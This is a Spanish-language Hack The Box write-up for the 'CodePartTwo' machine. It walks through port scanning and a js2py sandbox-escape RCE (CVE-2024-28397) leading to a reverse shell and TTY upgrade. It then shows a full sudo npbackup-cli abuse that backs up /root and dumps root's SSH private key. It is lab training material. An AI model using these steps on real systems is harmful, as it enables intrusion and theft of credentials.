CodePartTwo HTB Write Up¶

1. Información del objetivo¶
IP de la máquina: 10.10.10.82
2. Reconocimiento inicial¶
2.1 Escaneo de puertos¶
sudo nmap -sS -p- -n -vvv -Pn --open 10.10.10.82 -oG allPorts
extractPorts allPorts
nmap -sCV -p22,8000 10.10.11.82 -oN targeted
Y este es el resultado.

2.2 Enumeración de servicios¶
Lo primero que vamos hacer, es ir a la web, aquí podemos ver que nos podemos descargar la app.

3. Análisis de la aplicación web¶
3.1 Revisión del código fuente (app.py)¶
Este descarga nos va a descargar un .zip que contiene lo siguiente:

Si le damos un vistazo a la app.py podemos ver que mediante js2py y eval se ejecuta el código javascript que nosotros pongamos.

3.2 Pruebas en la funcionalidad web¶
Por lo tanto me voy a registrar en la web.

Y aquí podemos ver lo que hemos visto en el código anterior.

3.3 Identificación de vulnerabilidad (CVE-2024-28397)¶
No obstante si hacemos un poco de búsqueda podremos encontrar rápidamente que hay un CVE, en este caso CVE-2024-28397 el cuál consiste en un RCE with js2py sandbox escape .
Esta es la PoC con el que me he basado.
Por lo tanto, solo me voy a copiar la parte del javascript y lo voy a pegar en el Code Editor.
Lo único que tenemos que reemplazar es el comando que queremos ejecutar. Y le damos a run code.

4. Explotación¶
4.1 Ejecución de comandos remotos¶
Y por aquí podemos observar que hemos recibido la petición curl correctamente.

4.2 Reverse Shell y tratamiento de TTY¶
Por lo tanto cambiamos el comando y me ejecutare una shell con busybox.

A continuación voy a hacer el tratamiento de la tty con los siguientes comandos.
script /dev/null -c bash
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 36 cols 183
Puedes comprobar las filas y las columnas asi -> stty size (en tu terminal)
5. Post-Explotación¶
5.1 Acceso a la base de datos y extracción de credenciales¶
Ahora podemos con sqlite3 podemos conectarnos a la base de datos que esta expuesta en la carpeta instance.

Aquí tenemos el hash de marco así que voy a guardarlo y a crackearlo.


5.2 Escalada a usuario (marco)¶
Y tenemos la contraseña de marco.
6. Escalada de privilegios¶
6.1 Análisis del binario npbackup-cli¶
Así que nos conectamos y hacemos un sudo -l aquí podemos observar lo siguiente:
sudo -l
Matching Defaults entries for marco on codetwo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codetwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
6.2 Abuso de la funcionalidad de backup¶
Para abusar de este binario primero tenemos que entender su funcionamiento.
Este binario permite hacer copias de seguridad, Cliente de respaldo de red portátil.
Para escalar a root he hecho lo siguiente.
Primero de todo he inicializado un repositorio para poder usarlo con npbackup-cli
restic -r /home/marco/repo init --password-command "echo nopass"
Luego he creado una configuración válida el cuál podremos usar para hacer un backup.
astro.conf
conf_version: 3.0.1
repos:
default:
repo_uri: /home/marco/repo
repo_group: default_group
repo_opts:
repo_password: "nopass"
groups:
default_group:
backup_opts:
paths:
- /root
source_type: folder_list
Seguidamente corremos el backup como root con la configuración que hemos creado.
sudo /usr/local/bin/npbackup-cli -c astro.conf --backup
Y para terminar podemos dumpear el backup solicitado.
sudo /usr/local/bin/npbackup-cli -c astro.conf --dump /root/.ssh/id_rsa
6.3 Acceso a root y captura de la flag¶
Una vez con la clave id_rsa la guardamos en nuestro kali y le damos permisos 600.

Autor: Astro